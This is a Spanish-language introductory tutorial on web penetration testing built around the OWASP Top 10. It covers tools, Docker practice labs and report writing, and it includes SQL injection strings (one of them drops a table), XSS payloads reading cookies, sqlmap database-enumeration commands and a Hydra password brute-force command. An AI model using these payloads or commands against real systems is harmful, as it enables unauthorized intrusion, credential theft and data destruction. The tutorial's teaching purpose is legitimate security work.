Introducción al Pentesting Web
Las aplicaciones web son el vector de ataque más común en incidentes de ciberseguridad. Un pentest web es una evaluación de seguridad controlada que simula ataques reales para identificar vulnerabilidades antes de que lo hagan los atacantes.
Referencia estándar: El OWASP Top 10 es la lista de las vulnerabilidades web más críticas, actualizada en 2021. Es el punto de partida para cualquier pentest web.
Setup del Entorno de Pentesting
Herramientas esenciales
# Kali Linux incluye todo preinstalado, pero también:
# Burp Suite Community (gratuito)
# https://portswigger.net/burp/releases
# OWASP ZAP (alternativa open source)
sudo apt install zaproxy
# Nikto — escáner de vulnerabilidades web
sudo apt install nikto
# SQLMap — automatización de SQL injection
sudo apt install sqlmap
# Gobuster — enumeración de directorios
sudo apt install gobuster
Laboratorio de práctica legal
NUNCA practiques en sitios reales sin autorización. Usa:
# DVWA (Damn Vulnerable Web Application)
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Juice Shop (OWASP)
docker run --rm -p 3000:3000 bkimminich/juice-shop
# WebGoat
docker run -p 8080:8080 -p 9090:9090 webgoat/goat-and-wolf
OWASP Top 10 2021 — Análisis y Testing
A01: Broken Access Control
Descripción: El control de acceso falla, permitiendo a usuarios acceder a datos o funciones no autorizadas.
Testing:
# Probar acceso a rutas admin sin autenticación
curl -i https://target.com/admin/dashboard
curl -i https://target.com/api/users/1234 # ¿Puedo ver datos de otro usuario?
# IDOR (Insecure Direct Object Reference)
# Cambiar ID en URL: /profile?id=100 → /profile?id=101
# ¿Ves datos de otro usuario? Es una vulnerabilidad IDOR
Remediación: Implementar controles de acceso en el servidor, no solo en el cliente.
A02: Cryptographic Failures
Descripción: Datos sensibles transmitidos o almacenados sin cifrado adecuado.
Testing:
# Verificar SSL/TLS con sslyze
sslyze --regular target.com
# Testssl.sh
bash testssl.sh target.com
# Buscar datos sensibles en respuestas HTTP
# Buscar: contraseñas, PAN, datos médicos, claves API en respuestas
A03: Injection (SQL Injection)
Descripción: Datos no confiables enviados a un intérprete como parte de un comando o consulta.
Testing manual básico:
# Inputs de prueba para detectar SQLi
' OR '1'='1
' OR '1'='1' --
' UNION SELECT NULL --
1; DROP TABLE users --
# Si el comportamiento de la aplicación cambia = posible SQLi
Testing automatizado con SQLMap:
# SOLO en sistemas autorizados
sqlmap -u "https://target.com/product?id=1" --dbs
sqlmap -u "https://target.com/product?id=1" -D database_name --tables
sqlmap -u "https://target.com/product?id=1" --forms --batch --level=3
A07: Identification and Authentication Failures
Testing:
# Enumeración de usuarios
# Si "usuario no existe" vs "contraseña incorrecta" → enumeración posible
# Fuerza bruta con Hydra (solo en sistemas autorizados)
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# Verificar si el token de sesión cambia tras el login
# Verificar expiración de sesión
# Verificar logout completo (invalidación en servidor)
XSS — Cross-Site Scripting
Testing básico:
// Payloads de prueba para XSS
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
"><script>alert(document.cookie)</script>
javascript:alert('XSS')
// En Burp Suite: usar Repeater para probar cada input
// Buscar en: parámetros GET/POST, cabeceras HTTP, campos de formulario
Uso de Burp Suite para Pentesting Web
Burp Suite es el estándar de la industria para pentesting web:
Flujo básico de trabajo:
1. Configurar proxy (127.0.0.1:8080) en el navegador
2. Activar "Intercept" en Burp Proxy
3. Navegar por la aplicación para mapear todos los endpoints
4. Usar "Target > Site Map" para ver la estructura
5. Enviar requests a "Repeater" para modificar manualmente
6. Usar "Intruder" para fuzzing automatizado
7. Revisar "Scanner" (Pro) para vulnerabilidades automáticas
Generación del Informe de Pentesting
Un informe profesional incluye:
# Informe de Pentest — [Nombre Aplicación]
Fecha: XX/XX/XXXX | Clasificación: CONFIDENCIAL
## Resumen Ejecutivo
- Scope evaluado
- Hallazgos críticos (número por severidad)
- Recomendación general
## Hallazgos
### CRÍTICO: SQL Injection en /api/search
- **CVSS Score**: 9.8 (Critical)
- **Descripción**: El parámetro `q` no está sanitizado...
- **Evidencia**: [Captura de pantalla / Request-Response]
- **Impacto**: Extracción completa de base de datos
- **Remediación**: Usar prepared statements / parameterized queries
- **Referencia**: CWE-89, OWASP A03:2021
## Plan de Remediación Priorizado
| Prioridad | Vulnerabilidad | Esfuerzo | Plazo |
|-----------|---------------|----------|-------|
| 1 | SQL Injection | Medio | 1 semana |
Recursos para Practicar
- PortSwigger Web Security Academy — gratuito, excelente
- HackTheBox — laboratorios de pentesting
- TryHackMe — rutas de aprendizaje guiado
- PentesterLab — ejercicios de código vulnerable
Recuerda: El pentesting sin autorización es un delito. Todas las técnicas aquí descritas deben aplicarse únicamente en entornos de prueba o con permiso escrito del propietario del sistema.